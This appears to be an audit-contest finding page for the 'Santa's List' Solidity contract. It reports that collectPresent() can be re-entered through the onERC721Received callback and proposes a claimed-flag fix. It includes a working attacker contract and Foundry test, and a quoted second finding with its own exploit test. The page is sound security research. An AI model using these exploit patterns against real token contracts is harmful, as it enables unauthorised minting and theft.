Santa's List
AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

collectPresent() is reentrant via _safeMint's onERC721Received callback, allowing a malicious contract to collect multiple presents

virgilbb

Root + Impact

Description

  • collectPresent guards against double-minting by checking balanceOf(msg.sender) > 0 before calling _mintAndIncrement.

  • _safeMint first increases the caller's balance and then invokes onERC721Received on the recipient if it is a contract. Inside that callback the recipient can transfer the just-minted NFT to another address (reducing its own balance back to 0) and immediately re-enter collectPresent. The guard now passes again because the balance has been reset, and a second NFT is minted. This cycle can repeat for as many presents as the attacker wishes.

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); }
// @> guard checks current balance — can be reset during the callback below
if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); }
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
// @> _safeMint sets balance to 1, then calls onERC721Received on msg.sender (if contract)
_mintAndIncrement();
return;
}
...
}
​
function _mintAndIncrement() private {
// @> ERC721._safeMint → onERC721Received callback fires here
_safeMint(msg.sender, s_tokenCounter++);
}

Risk

Likelihood:

  • Any NICE or EXTRA_NICE address that is a smart contract (or that Santa mistakenly approves as a contract) can trigger this path; deploying a malicious receiver contract requires only standard tooling.

Impact:

  • A Santa-approved contract can loop through onERC721Received → transfer → collectPresent to drain unbounded presents, minting far more NFTs than intended and destroying the scarcity and fairness of the gift distribution.

Proof of Concept

A malicious contract is added to Santa's NICE list. When collectPresent is called, the onERC721Received hook transfers the freshly minted token away and immediately calls collectPresent again. The loop mints multiple NFTs in a single transaction.

contract MaliciousReceiver is IERC721Receiver {
SantasList public immutable santasList;
address public immutable otherWallet;
uint256 public attackCount;
​
constructor(address _list, address _other) {
santasList = SantasList(_list);
otherWallet = _other;
}
​
function attack() external {
santasList.collectPresent();
}
​
function onERC721Received(
address, address, uint256 tokenId, bytes calldata
) external override returns (bytes4) {
// Transfer the NFT away so our balance returns to 0
santasList.transferFrom(address(this), otherWallet, tokenId);
// Re-enter collectPresent — balance is 0 again, guard passes
if (attackCount < 2) {
attackCount++;
santasList.collectPresent();
}
return IERC721Receiver.onERC721Received.selector;
}
}
​
function test_collectPresentReentrancy() public {
address other = makeAddr("other");
MaliciousReceiver attacker = new MaliciousReceiver(address(santasList), other);
​
// Santa marks the attacker contract NICE
vm.prank(santa);
santasList.checkList(address(attacker), SantasList.Status.NICE);
vm.prank(santa);
santasList.checkTwice(address(attacker), SantasList.Status.NICE);
​
vm.warp(CHRISTMAS_2023_BLOCK_TIME);
​
attacker.attack();
​
// Attacker minted multiple NFTs via reentrancy
assertGt(santasList.balanceOf(other), 1, "only one present should have been minted");
}

The final assertion confirms more than one NFT was minted to the other wallet even though the attacker was only entitled to one present.

Recommended Mitigation

Add a s_hasClaimed boolean mapping (as also recommended in 8.05) and set it to true before calling _safeMint. This eliminates the balance-reset window and makes the guard re-entrancy-safe.

+ mapping(address => bool) private s_hasClaimed;
​
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); }
- if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); }
+ if (s_hasClaimed[msg.sender]) { revert SantasList__AlreadyCollected(); }
+ s_hasClaimed[msg.sender] = true; // set BEFORE external call
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] Any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function multiple times.

## Description `collectPresent` function is callable by any address, but the call will succeed only if the user is registered as `NICE` or `EXTRA_NICE` in SantasList contract. In order to prevent users to collect presents multiple times, the following check is implemented: ``` if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); } ``` Nevertheless, there is an issue with this check. Users could send their newly minted NFTs to another wallet, allowing them to pass that check as `balanceOf(msg.sender)` will be `0` after transferring the NFT. ## Vulnerability Details Let's imagine a scenario where an `EXTRA_NICE` user wants to collect present when it is Christmas time. The user will call `collectPresent` function and will get 1 NFT and `1e18` SantaTokens. This user could now call `safetransferfrom` ERC-721 function in order to send the NFT to another wallet, while keeping SantaTokens on the same wallet (or send them as well, it doesn't matter). After that, it is possible to call `collectPresent` function again as ``balanceOf(msg.sender)` will be `0` again. ## Impact The impact of this vulnerability is HIGH as it allows any `NICE` user to mint as much NFTs as wanted, and it also allows any `EXTRA_NICE` user to mint as much NFTs and SantaTokens as desired. ## Proof of Concept The following tests shows that any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function again after transferring the newly minted NFT to another wallet. - In the case of `NICE` users, it will be possible to mint an infinity of NFTs, while transferring all of them in another wallet hold by the user. - In the case of `EXTRA_NICE` users, it will be possible to mint an infinity of NFTs and an infinity of SantaTokens. ``` function testExtraNiceCanCollectTwice() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); // User collect present again santasList.collectPresent(); vm.stopPrank(); // Users now owns 2e18 tokens, after calling 2 times collectPresent function successfully assertEq(santaToken.balanceOf(user), 2e18); } ``` ## Recommendations SantasList should implement in its storage a mapping to keep track of addresses which already collected present through `collectPresent` function. We could declare as a state variable : ``` mapping(address user => bool) private hasClaimed; ``` and then modify `collectPresent` function as follows: ``` function collectPresent() external { // use SantasList__AlreadyCollected custom error to save gas require(!hasClaimed[msg.sender], "user already collected present"); if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); } if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) { _mintAndIncrement(); hasClaimed[msg.sender] = true; return; } else if ( s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE ) { _mintAndIncrement(); i_santaToken.mint(msg.sender); hasClaimed[msg.sender] = true; return; } revert SantasList__NotNice(); } ``` We just added a check that `hasClaimed[msg.sender]` is `false` to execute the rest of the function, while removing the check on `balanceOf`. Once present is collected, either for `NICE` or `EXTRA_NICE` people, we update `hasClaimed[msg.sender]` to `true`. This will prevent user to call `collectPresent` function. If you run the previous test with this new implementation, it wail fail with the error `user already collected present`. Here is a new test that checks the new implementation works as desired: ``` function testCorrectCollectPresentImpl() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); vm.expectRevert("user already collected present"); santasList.collectPresent(); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!